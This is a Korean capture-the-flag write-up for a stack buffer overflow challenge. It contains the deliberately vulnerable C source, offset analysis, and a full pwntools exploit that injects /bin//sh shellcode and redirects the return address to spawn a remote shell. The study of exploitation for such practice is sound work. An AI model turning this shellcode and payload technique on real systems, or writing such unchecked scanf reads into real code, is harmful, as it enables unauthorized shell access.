ㄴ
#include <stdio.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\\n", buf);
scanf("%141s", buf);
return 0;
}
문제의 소스코드다.
취약점을 찾을 수 있는 곳은 scanf 부분이다.
buf을 0x80 크기만큼 정했지만
scanf 를 통해 141byte 까지 받아올 수 있기에 취약점이 발생한다.
gdb를 통해 pattern 을 만들어 ret 까지 거리를 구해보자.
이를통해 esp 에서 ret 진입하기 직전까지 거리가 132 인 것을 확인할 수 있다.
이후 욤뇸뇸하게 쉘코드를 구굴링 해봤다.
https://hackhijack64.tistory.com/38
32비트 리눅스 환경에서의 쉘코드다.
이후 받은 buf 값에 쉘코드 + dummy 값을 넣어 총 132byte를 채워 버퍼오버플로우를 익히고 ret 영역을 침범하여
다시 buf 값에 이동하면 쉘코드가 실행되어 flag을 탈취 할 수 있을 것이다.
그렇게 짠 익스플로잇 코드는 다음과 같다.
from pwn import *
p = remote('host3.dreamhack.games', 13328)
buf_addr = int(p.recv()[7:17], 16)# buf = (0xfff5edd8) 출력된다.#buf = (0xfff5edd8)#012345678911234567# 7:17 까지 p.recv로 받는다면 0xfff5edd8 을 16진수 형식으로 저장할 수 있다.
shellcode = b'\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80'
payload = shellcode# Shellcode
payload += b'A' * 106# Shellcode + dummy 값
payload += p32(buf_addr)# 리틀엔디안 형식으로 ret 값 침범하여 값을 넣는다.
p.sendline(payload)# payload 전송 !
p.interactive()# 쉘 실행 및 유지